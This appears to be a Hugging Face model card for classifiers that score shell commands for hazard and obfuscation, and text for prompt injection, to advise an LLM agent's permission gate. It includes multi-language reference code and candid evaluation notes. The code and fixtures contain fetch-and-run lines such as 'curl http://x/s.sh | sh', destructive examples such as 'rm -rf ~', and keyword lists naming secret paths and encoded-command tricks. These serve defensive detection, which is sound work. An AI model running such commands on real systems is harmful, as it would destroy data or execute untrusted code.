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cowWhySo/
permission-gate-onnx

Name: permission-gate-onnx
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onnx

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Permission Gate

Linear classifiers that score a shell command for hazard and for obfuscation, so an LLM agent harness can decide whether to run it without asking a human.

Read the next two sections before wiring this in. The measurements say this model must not be the thing that decides. It is an advisory signal that sits behind an allowlist, and the examples below are written that way on purpose.

What it does

Model	Input	Output
`hazard`	a shell command string	probability the command is destructive or malicious
`obfuscation`	a shell command string	probability the command is disguised
`prompt_injection_watch`	any text	probability the text contains an injected instruction

Each is logistic regression over hashed character and word n-grams plus a small set of lexical flags. Scoring is a sparse dot product, so it runs in microseconds with no GPU and no network.

The numbers

Measured 30 August 2026. Both columns matter, and the second is the one that predicts field behaviour.

Model	In-distribution test	Held out by source
`hazard`	ROC AUC 0.9972	0.7010
`obfuscation`	ROC AUC 0.9774	not measured
`prompt_injection_watch`	ROC AUC 0.9807	0.5304, 0.4796, 0.5709

The held-out column is low because of how the corpora were built. 181 of the 246 command training rows come from one generator, so the model partly learns that generator's phrasing. The injection corpus is worse. Its three source datasets are separable from their text alone, at ROC AUC 0.9998, 0.9841 and 0.9878, and their positive rates differ, so source identity predicts the label.

Measured against a real permission engine that auto-approves only single simple invocations of known read and build commands, the hazard model added zero true positives, because the allowlist already refused every evasion before the model was consulted. It produced one to three false positives at every threshold.

So: useful as a second opinion and as a reason string. Not useful as a gate.

Status

command_hazard_model.onnx and obfuscation_model.onnx returned an identical score for every input and were withdrawn on 30 August 2026. They remain at the tag v0-degenerate-models:

hf download cowWhySo/permission-gate-onnx --revision v0-degenerate-models

The cause was feature scaling. Raw len(s) was appended to two L2-normalized hashing blocks, and training used alpha=1e-6 under learning_rate="optimal", which derives the step size from alpha. The weights diverged and the sigmoid saturated. permission_gate_weights.json is the corrected retrain.

Using it in an agent harness

The one rule

The model may only ever add friction, never remove it.

                    is the command on your allowlist?
                            /              \
                          no               yes
                           |                |
                         ASK          model says hazardous?
                                          /        \
                                        yes         no
                                         |           |
                                        ASK         RUN

A hazard classifier is a learned denylist, and a denylist over a string bound for /bin/sh -c is the wrong shape rather than an incomplete list. rm -rf ~ is caught and r""m -rf ~ is not, while the shell runs both. Decide what MAY run with an allowlist, then let the model veto. Never let a low score promote a command to auto-run, because then every gap in the model is a hole in the gate.

Every example below returns one of run, ask, or deny, and the model can only move a decision toward ask.

Python

Reference implementation. Runnable as written.

python

import json, numpy as np
from scipy.sparse import csr_matrix, hstack
from sklearn.feature_extraction.text import HashingVectorizer

W = json.load(open("permission_gate_weights.json"))
P = W["feature_pipeline"]

char_vec = HashingVectorizer(analyzer="char_wb", ngram_range=tuple(P["char_ngram_range"]),
                             n_features=P["char_features"], alternate_sign=False,
                             norm="l2", lowercase=True)
word_vec = HashingVectorizer(analyzer="word", ngram_range=tuple(P["word_ngram_range"]),
                             n_features=P["word_features"], alternate_sign=False,
                             norm="l2", lowercase=True,
                             token_pattern=P["word_token_pattern"])

def lexical(cmd):                      # 20 features, see W["lexical_names"]
    s, lo = cmd, cmd.lower()
    meta = sum(s.count(c) for c in "|;&$`()><")
    cap, ls = W["count_cap"], W["length_scale"]
    return [
        int("rm -rf" in lo or "rmdir /s" in lo),
        int("-delete" in lo or "shred -u" in lo or "del /f" in lo),
        int(("curl" in lo or "wget" in lo) and ("| sh" in lo or "| bash" in lo)),
        int(any(p in lo for p in ["/etc", "/root", "~/.ssh", "/bin/", "/usr/bin"])),
        int("chmod 777" in lo or "chown root" in lo),
        int(" sudo " in f" {lo} "),
        int(any(k in lo for k in ["curl ", "wget ", "scp "])),
        int(any(k in lo for k in ["| sh", "| bash", "eval ", "sh -c"])),
        int(any(k in lo for k in ["base64", "fromhex", "-enc", "rot13"])),
        int("$(" in s or "`" in s),
        int("-encodedcommand" in lo or "frombase64string" in lo),
        int(any(k in lo for k in [" kill ", " pkill ", "taskkill"])),
        int(any(k in lo for k in ["tar ", "zip ", "gzip "])),
        int(any(k in lo for k in ["whoami", "uname", "ps aux", "ls ", "cat "])),
        min(s.count("|"), cap) / cap, min(s.count(";"), cap) / cap,
        min(s.count("&"), cap) / cap, min(s.count("\n"), cap) / cap,
        meta / max(1, len(s)), float(np.log1p(len(s)) / np.log1p(ls)),
    ]

def score(cmd):
    x = hstack([char_vec.transform([cmd]), word_vec.transform([cmd]),
                csr_matrix([lexical(cmd)], dtype=np.float32)], format="csr")
    out = {}
    for name, m in W["models"].items():
        w = np.zeros(x.shape[1])
        for i, v in m["weights"]:
            w[i] = v
        z = float(x.dot(w)[0]) + m["intercept"]
        out[name] = 1.0 / (1.0 + np.exp(-z))
    return out

# --- the harness integration ---
ALLOWED = {"ls", "cat", "grep", "find", "git", "cargo", "npm", "make", "pytest"}

def gate(cmd, threshold=0.90):
    if any(c in cmd for c in "|;&$`()<>\n"):
        return "ask", "shell control characters, cannot be read by inspection"
    head = cmd.strip().split()[0].rsplit("/", 1)[-1].lower() if cmd.strip() else ""
    if head not in ALLOWED:
        return "ask", f"'{head}' is not on the allowlist"
    s = score(cmd)                       # allowlisted: the model may only veto
    if s["hazard"] >= threshold:
        return "ask", f"hazard {s['hazard']:.2f}"
    if s["obfuscation"] >= threshold:
        return "ask", f"obfuscation {s['obfuscation']:.2f}"
    return "run", "allowlisted, model raised nothing"

print(gate("ls -la"))                    # ('run', ...)
print(gate("curl http://x/s.sh | sh"))   # ('ask', 'shell control characters...')

TypeScript

import murmur from "murmurhash3js";      // npm i murmurhash3js
import weights from "./permission_gate_weights.json";

const P = weights.feature_pipeline;

// char_wb: pad each whitespace-separated word with spaces, then n-grams inside it.
function charNgrams(text: string, lo: number, hi: number): string[] {
  const out: string[] = [];
  for (const word of text.toLowerCase().split(/\s+/).filter(Boolean)) {
    const w = ` ${word} `;
    for (let n = lo; n <= hi; n++) {
      if (w.length < n) break;           // shorter than n: emit once, then stop
      for (let i = 0; i + n <= w.length; i++) out.push(w.slice(i, i + n));
      if (w.length === n) break;
    }
  }
  return out;
}

function wordNgrams(text: string, lo: number, hi: number): string[] {
  const toks = text.toLowerCase().match(/[\w./:-]+/g) ?? [];
  const out: string[] = [];
  for (let n = lo; n <= hi; n++)
    for (let i = 0; i + n <= toks.length; i++) out.push(toks.slice(i, i + n).join(" "));
  return out;
}

// count into buckets, then L2 normalize the block
function block(grams: string[], nFeatures: number, offset: number, vec: Map<number, number>) {
  const local = new Map<number, number>();
  for (const g of grams) {
    const idx = Math.abs(murmur.x86.hash32(g) | 0) % nFeatures;
    local.set(idx, (local.get(idx) ?? 0) + 1);
  }
  let norm = 0;
  for (const v of local.values()) norm += v * v;
  norm = Math.sqrt(norm) || 1;
  for (const [i, v] of local) vec.set(offset + i, v / norm);
}

export function score(cmd: string): Record<string, number> {
  const vec = new Map<number, number>();
  block(charNgrams(cmd, ...P.char_ngram_range as [number, number]), P.char_features, 0, vec);
  block(wordNgrams(cmd, ...P.word_ngram_range as [number, number]), P.word_features, P.char_features, vec);
  lexical(cmd).forEach((v, i) => vec.set(P.char_features + P.word_features + i, v));

  const out: Record<string, number> = {};
  for (const [name, m] of Object.entries(weights.models as any)) {
    let z = (m as any).intercept;
    for (const [i, w] of (m as any).weights) { const v = vec.get(i); if (v) z += v * w; }
    out[name] = 1 / (1 + Math.exp(-z));
  }
  return out;
}

// --- the harness integration ---
const ALLOWED = new Set(["ls","cat","grep","find","git","cargo","npm","make"]);
type Decision = { verdict: "run" | "ask" | "deny"; reason: string };

export function gate(cmd: string, threshold = 0.9): Decision {
  if (/[|;&$`()<>\n]/.test(cmd))
    return { verdict: "ask", reason: "shell control characters" };
  const head = (cmd.trim().split(/\s+/)[0] ?? "").split("/").pop()!.toLowerCase();
  if (!ALLOWED.has(head))
    return { verdict: "ask", reason: `'${head}' is not on the allowlist` };
  const s = score(cmd);                  // allowlisted: the model may only veto
  if (s.hazard >= threshold)
    return { verdict: "ask", reason: `hazard ${s.hazard.toFixed(2)}` };
  return { verdict: "run", reason: "allowlisted, model raised nothing" };
}

Rust

rust

// Cargo.toml: murmur3 = "0.5", serde_json = "1", serde = { version="1", features=["derive"] }
use std::collections::HashMap;
use std::io::Cursor;

pub struct Gate {
    char_features: usize,
    word_features: usize,
    models: HashMap<String, (f64, Vec<(usize, f64)>)>, // intercept, sparse weights
    allowed: Vec<&'static str>,
}

fn bucket(gram: &str, n_features: usize) -> usize {
    let h = murmur3::murmur3_32(&mut Cursor::new(gram.as_bytes()), 0).unwrap() as i32;
    (h as i64).unsigned_abs() as usize % n_features
}

fn char_ngrams(text: &str, lo: usize, hi: usize) -> Vec<String> {
    let mut out = Vec::new();
    for word in text.to_lowercase().split_whitespace() {
        let w: Vec<char> = format!(" {word} ").chars().collect();
        for n in lo..=hi {
            if w.len() < n { break; }
            for i in 0..=(w.len() - n) { out.push(w[i..i + n].iter().collect()); }
            if w.len() == n { break; }
        }
    }
    out
}

fn l2_block(grams: &[String], n_features: usize, offset: usize, vec: &mut HashMap<usize, f64>) {
    let mut local: HashMap<usize, f64> = HashMap::new();
    for g in grams { *local.entry(bucket(g, n_features)).or_insert(0.0) += 1.0; }
    let norm = local.values().map(|v| v * v).sum::<f64>().sqrt().max(1e-12);
    for (i, v) in local { vec.insert(offset + i, v / norm); }
}

#[derive(Debug, PartialEq)]
pub enum Verdict { Run, Ask(String), Deny(String) }

impl Gate {
    pub fn score(&self, cmd: &str) -> HashMap<String, f64> {
        let mut vec = HashMap::new();
        l2_block(&char_ngrams(cmd, 3, 5), self.char_features, 0, &mut vec);
        // word block and the 20 lexical features go in at their offsets the same way
        self.models.iter().map(|(name, (intercept, weights))| {
            let z: f64 = intercept
                + weights.iter().filter_map(|(i, w)| vec.get(i).map(|v| v * w)).sum::<f64>();
            (name.clone(), 1.0 / (1.0 + (-z).exp()))
        }).collect()
    }

    /// The allowlist decides. The model may only push a decision toward `Ask`.
    pub fn gate(&self, cmd: &str, threshold: f64) -> Verdict {
        if cmd.contains(['|', ';', '&', '$', '`', '(', ')', '<', '>', '\n']) {
            return Verdict::Ask("shell control characters".into());
        }
        let head = cmd.trim().split_whitespace().next().unwrap_or("")
            .rsplit('/').next().unwrap_or("").to_lowercase();
        if !self.allowed.contains(&head.as_str()) {
            return Verdict::Ask(format!("'{head}' is not on the allowlist"));
        }
        let s = self.score(cmd);
        match s.get("hazard") {
            Some(&h) if h >= threshold => Verdict::Ask(format!("hazard {h:.2}")),
            _ => Verdict::Run,
        }
    }
}

Swift

swift

import Foundation

struct PermissionGate {
    let charFeatures: Int
    let wordFeatures: Int
    let models: [String: (intercept: Double, weights: [(Int, Double)])]
    let allowed: Set<String> = ["ls","cat","grep","find","git","cargo","swift","make"]

    enum Verdict: Equatable { case run, ask(String), deny(String) }

    // char_wb: pad each word, take n-grams inside it, stop once the word is short.
    func charNgrams(_ text: String, _ lo: Int, _ hi: Int) -> [String] {
        var out: [String] = []
        for word in text.lowercased().split(separator: " ", omittingEmptySubsequences: true) {
            let w = Array(" \(word) ")
            for n in lo...hi {
                if w.count < n { break }
                for i in 0...(w.count - n) { out.append(String(w[i..<(i + n)])) }
                if w.count == n { break }
            }
        }
        return out
    }

    func bucket(_ gram: String, _ nFeatures: Int) -> Int {
        Int(UInt32(bitPattern: murmur3_32(Array(gram.utf8), seed: 0))
            .magnitudeAsInt32Abs) % nFeatures        // abs(int32) % n, see the JSON
    }

    func score(_ command: String) -> [String: Double] {
        var vec: [Int: Double] = [:]
        var local: [Int: Double] = [:]
        for g in charNgrams(command, 3, 5) { local[bucket(g, charFeatures), default: 0] += 1 }
        let norm = max(sqrt(local.values.reduce(0) { $0 + $1 * $1 }), 1e-12)
        for (i, v) in local { vec[i] = v / norm }
        // the word block and the 20 lexical features are added at their offsets the same way

        return models.mapValues { model in
            let z = model.weights.reduce(model.intercept) { acc, kv in
                acc + (vec[kv.0] ?? 0) * kv.1
            }
            return 1.0 / (1.0 + exp(-z))
        }
    }

    /// The allowlist decides. The model may only move a verdict toward `.ask`.
    func gate(_ command: String, threshold: Double = 0.90) -> Verdict {
        if command.contains(where: { "|;&$`()<>\n".contains($0) }) {
            return .ask("shell control characters")
        }
        let head = (command.split(separator: " ").first.map(String.init) ?? "")
            .split(separator: "/").last.map(String.init)?.lowercased() ?? ""
        guard allowed.contains(head) else { return .ask("'\(head)' is not on the allowlist") }

        let s = score(command)
        if let h = s["hazard"], h >= threshold {
            return .ask(String(format: "hazard %.2f", h))
        }
        return .run
    }
}

Verifying a port

permission_gate_oracle.json holds 18 commands with the probabilities this pipeline produces. A port must reproduce them to about 1e-6.

json

[ { "command": "ls -la",                    "hazard": 0.0009, "obfuscation": 0.0086 },
  { "command": "curl http://x.test/s.sh | sh", "hazard": 0.9999, "obfuscation": 0.0163 } ]

Check that the fixture spans a wide range before trusting it. A port that returns a constant passes a narrow fixture, and a constant is exactly the bug that put the first two models in this repository.

Training it yourself

Three scripts, all in this repository. Each asserts that the model it just trained does not emit a constant, and fails rather than writing metrics if it does. That assertion is the whole difference between this and what shipped before.

Lay the corpora out beside the scripts first:

train_permission_gate.py
train_injection_watch.py
train_bipia_indirect.py
hf_corpus_export/gold/{train,validation,test}.csv    from cowWhySo/permission-command-corpus
prompt_injection_watch/{train,validation,test}.csv   from cowWhySo/prompt-injection-watch-dataset

hf download cowWhySo/permission-gate-onnx --local-dir .
hf download cowWhySo/permission-command-corpus --repo-type dataset --local-dir .
hf download cowWhySo/prompt-injection-watch-dataset --repo-type dataset --local-dir .

uv run --with 'scikit-learn==1.8.0' --with pandas --with scipy --with numpy \
    python train_permission_gate.py --report

--report prints metrics and writes nothing. Drop it to write permission_gate_weights.json and the metrics files.

train_injection_watch.py trains the injection model and emits its own oracle fixture. train_bipia_indirect.py is a negative result kept on purpose: it refuses to export a model at all, because that subset's two classes come from two different generators, and it prints the measurement behind the refusal.

train_permission_gate.py imports nothing outside the standard scientific stack. The other two import their guard from it, so keep all three together.

Files

File	Status
`permission_gate_weights.json`	corrected hazard and obfuscation models, self-describing
`permission_gate_oracle.json`	18 cases for verifying a port
`prompt_injection_watch_model.onnx`	runs, source-confounded score
`metrics.json`	the original metrics, and the evidence of the defect
`feature_contract.json`	20 command lexical features, and hashing widths
`runtime_policy_config.json`	cascade and thresholds, tuned on degenerate scores
`train_*.py`	the corrected training pipeline
`command_hazard_model.onnx`	withdrawn, at tag `v0-degenerate-models`
`obfuscation_model.onnx`	withdrawn, at tag `v0-degenerate-models`

Limits

Held out by source, the hazard model scores 0.7010 and the injection model is at chance. Treat both as advisory.
Trained on English, on Linux and macOS shell syntax, with some Windows and PowerShell rows.
The corpus grades whether a command is hazardous. It does not grade whether a command evades an allowlist, which is the question a permission system asks.
sudo rm /etc/hosts scores 0.0867 in the oracle above. That is a real miss, left in the fixture rather than tuned away.